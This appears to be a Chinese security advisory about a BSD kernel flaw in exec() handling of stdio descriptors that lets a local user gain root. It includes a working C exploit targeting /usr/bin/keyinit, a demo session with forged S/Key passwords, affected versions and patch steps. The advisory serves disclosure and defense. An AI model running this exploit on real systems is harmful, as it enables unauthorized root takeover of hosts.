BSD内核exec调用处理不当漏洞

/ns/ld/unix/data/20020513025912.htm

涉及程序:
BSD内核

描述:
BSD内核exec调用处理不当漏洞

详细:
BSD Unix是Unix类操作系统的一个重要分支。

基于BSD内核系统实现上存在I/O操作漏洞,可导致本地攻击者利用此漏洞得到主机的root权限。

基于BSD内核的系统用exec( )调用执行特权程序时,并不检查C程序库标准I/O描述符0-2是否为有效的文件。这样可能导致一个特权进程打开的I/O通道被攻击者指向C标准程序库的“标准输入”、“标准输入”和“标准错误”。利用这个漏洞,攻击者可以把恶意的数据写到敏感的I/O通道中去,本地攻击者可能因此得到root权限。

验证:


以下仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


/*
phased/b10z
phased@snosoft.com
23/04/2002

stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)

> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#

this program makes the following skeys valid

95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO

http://www.snosoft.com
cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}


受影响系统:
OpenBSD OpenBSD kernel
- OpenBSD 2.3
- OpenBSD 2.2
- OpenBSD 2.1
- OpenBSD 2.0

FreeBSD FreeBSD kernel
- FreeBSD 4.5
- FreeBSD 4.4

Sun Solaris kernel
- Solaris 8.0 x86
- Solaris 7.0 x86
- Solaris 7.0
- Solaris 2.6
- Solaris 2.6 x86
- Solaris 2.5.1 x86
- Solaris 2.5.


解决方案:
下载补丁:

1) 将受影响的FreeBSD系统升级到相应修正日期后发布的4.5-STABLE或相应修正日期后
发布的RELENG_4_5 (4.5-RELEASE-p4)或RELENG_4_4 (4.4-RELEASE-p11)。

2) 为现有系统安装补丁:

a) 从下列地址下载相应的补丁并用PGP工具验证分开的PGP签名。

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc

b) 以root身份执行下列命令:

# cd /usr/src
# patch < /path/to/patch

c) 按照下列描述重新编写kernel并重启系统:
http://www.freebsd.org/handbook/kernelconfig.html